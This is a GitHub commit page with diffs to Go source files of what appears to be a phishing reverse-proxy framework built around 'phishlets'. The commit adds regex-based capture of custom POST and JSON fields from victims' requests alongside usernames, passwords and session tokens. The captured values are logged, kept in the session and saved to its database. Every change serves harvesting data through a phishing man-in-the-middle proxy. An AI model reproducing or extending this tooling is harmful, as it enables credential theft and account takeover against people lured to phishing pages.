Skip to content

Commit eb98606

Browse files
committed
added capturing of custom post fields
1 parent 3144b96 commit eb98606

File tree

5 files changed

+97
-3
lines changed

5 files changed

+97
-3
lines changed

core/http_proxy.go

+38
Original file line numberDiff line numberDiff line change
@@ -251,6 +251,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
251251
}
252252
}
253253

254+
for _, cp := range pl.custom {
255+
if cp.tp == "json" {
256+
cm := cp.search.FindStringSubmatch(string(json))
257+
if cm != nil && len(cm) > 1 {
258+
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
259+
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
260+
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
261+
log.Error("database: %v", err)
262+
}
263+
}
264+
}
265+
}
266+
254267
} else {
255268

256269
if req.ParseForm() == nil {
@@ -276,6 +289,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
276289
}
277290
}
278291
}
292+
for _, cp := range pl.custom {
293+
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
294+
cm := cp.search.FindStringSubmatch(v[0])
295+
if cm != nil && len(cm) > 1 {
296+
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
297+
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
298+
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
299+
log.Error("database: %v", err)
300+
}
301+
}
302+
}
303+
}
279304
}
280305
}
281306

@@ -433,6 +458,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
433458
re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
434459
re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
435460
re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
461+
re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
462+
re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
463+
re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
436464
replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
437465
replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
438466
replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
@@ -557,6 +585,16 @@ func (p *HttpProxy) setSessionPassword(sid string, password string) {
557585
}
558586
}
559587

588+
func (p *HttpProxy) setSessionCustom(sid string, name string, value string) {
589+
if sid == "" {
590+
return
591+
}
592+
s, ok := p.sessions[sid]
593+
if ok {
594+
s.SetCustom(name, value)
595+
}
596+
}
597+
560598
func (p *HttpProxy) httpsWorker() {
561599
var err error
562600

core/phishlet.go

+34-3
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ type PhishletVersion struct {
4444

4545
type PostField struct {
4646
tp string
47+
key_s string
4748
key *regexp.Regexp
4849
search *regexp.Regexp
4950
}
@@ -63,6 +64,7 @@ type Phishlet struct {
6364
password PostField
6465
landing_path []string
6566
cfg *Config
67+
custom []PostField
6668
}
6769

6870
type ConfigProxyHost struct {
@@ -95,8 +97,9 @@ type ConfigPostField struct {
9597
}
9698

9799
type ConfigCredentials struct {
98-
Username *ConfigPostField `mapstructure:"username"`
99-
Password *ConfigPostField `mapstructure:"password"`
100+
Username *ConfigPostField `mapstructure:"username"`
101+
Password *ConfigPostField `mapstructure:"password"`
102+
Custom *[]ConfigPostField `mapstructure:"custom"`
100103
}
101104

102105
type ConfigPhishlet struct {
@@ -135,6 +138,7 @@ func (p *Phishlet) Clear() {
135138
p.username.search = nil
136139
p.password.key = nil
137140
p.password.search = nil
141+
p.custom = []PostField{}
138142
}
139143

140144
func (p *Phishlet) LoadFromFile(path string) error {
@@ -287,8 +291,35 @@ func (p *Phishlet) LoadFromFile(path string) error {
287291
if p.password.tp == "" {
288292
p.password.tp = "post"
289293
}
294+
p.username.key_s = *fp.Credentials.Username.Key
295+
p.password.key_s = *fp.Credentials.Password.Key
290296

291-
// TODO: add custom tokens
297+
if fp.Credentials.Custom != nil {
298+
for _, cp := range *fp.Credentials.Custom {
299+
var err error
300+
if cp.Key == nil {
301+
return fmt.Errorf("credentials: missing custom `key` field")
302+
}
303+
if cp.Search == nil {
304+
return fmt.Errorf("credentials: missing custom `search` field")
305+
}
306+
o := PostField{}
307+
o.key, err = regexp.Compile(*cp.Key)
308+
if err != nil {
309+
return fmt.Errorf("credentials: %v", err)
310+
}
311+
o.search, err = regexp.Compile(*cp.Search)
312+
if err != nil {
313+
return err
314+
}
315+
o.tp = cp.Type
316+
if o.tp == "" {
317+
o.tp = "post"
318+
}
319+
o.key_s = *cp.Key
320+
p.custom = append(p.custom, o)
321+
}
322+
}
292323

293324
p.landing_path = *fp.LandingPath
294325

core/session.go

+6
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ type Session struct {
99
Name string
1010
Username string
1111
Password string
12+
Custom map[string]string
1213
Tokens map[string]map[string]*database.Token
1314
RedirectURL string
1415
IsDone bool
@@ -21,6 +22,7 @@ func NewSession(name string) (*Session, error) {
2122
Name: name,
2223
Username: "",
2324
Password: "",
25+
Custom: make(map[string]string),
2426
RedirectURL: "",
2527
IsDone: false,
2628
IsAuthUrl: false,
@@ -38,6 +40,10 @@ func (s *Session) SetPassword(password string) {
3840
s.Password = password
3941
}
4042

43+
func (s *Session) SetCustom(name string, value string) {
44+
s.Custom[name] = value
45+
}
46+
4147
func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool {
4248
if _, ok := s.Tokens[domain]; !ok {
4349
s.Tokens[domain] = make(map[string]*database.Token)

database/database.go

+5
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,11 @@ func (d *Database) SetSessionPassword(sid string, password string) error {
4949
return err
5050
}
5151

52+
func (d *Database) SetSessionCustom(sid string, name string, value string) error {
53+
err := d.sessionsUpdateCustom(sid, name, value)
54+
return err
55+
}
56+
5257
func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]*Token) error {
5358
err := d.sessionsUpdateTokens(sid, tokens)
5459
return err

database/db_session.go

+14
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ type Session struct {
1616
LandingURL string `json:"landing_url"`
1717
Username string `json:"username"`
1818
Password string `json:"password"`
19+
Custom map[string]string `json:"custom"`
1920
Tokens map[string]map[string]*Token `json:"tokens"`
2021
SessionId string `json:"session_id"`
2122
UserAgent string `json:"useragent"`
@@ -50,6 +51,7 @@ func (d *Database) sessionsCreate(sid string, phishlet string, landing_url strin
5051
LandingURL: landing_url,
5152
Username: "",
5253
Password: "",
54+
Custom: make(map[string]string),
5355
Tokens: make(map[string]map[string]*Token),
5456
SessionId: sid,
5557
UserAgent: useragent,
@@ -112,6 +114,18 @@ func (d *Database) sessionsUpdatePassword(sid string, password string) error {
112114
return err
113115
}
114116

117+
func (d *Database) sessionsUpdateCustom(sid string, name string, value string) error {
118+
s, err := d.sessionsGetBySid(sid)
119+
if err != nil {
120+
return err
121+
}
122+
s.Custom[name] = value
123+
s.UpdateTime = time.Now().UTC().Unix()
124+
125+
err = d.sessionsUpdate(s.Id, s)
126+
return err
127+
}
128+
115129
func (d *Database) sessionsUpdateTokens(sid string, tokens map[string]map[string]*Token) error {
116130
s, err := d.sessionsGetBySid(sid)
117131
if err != nil {

0 commit comments

Comments
 (0)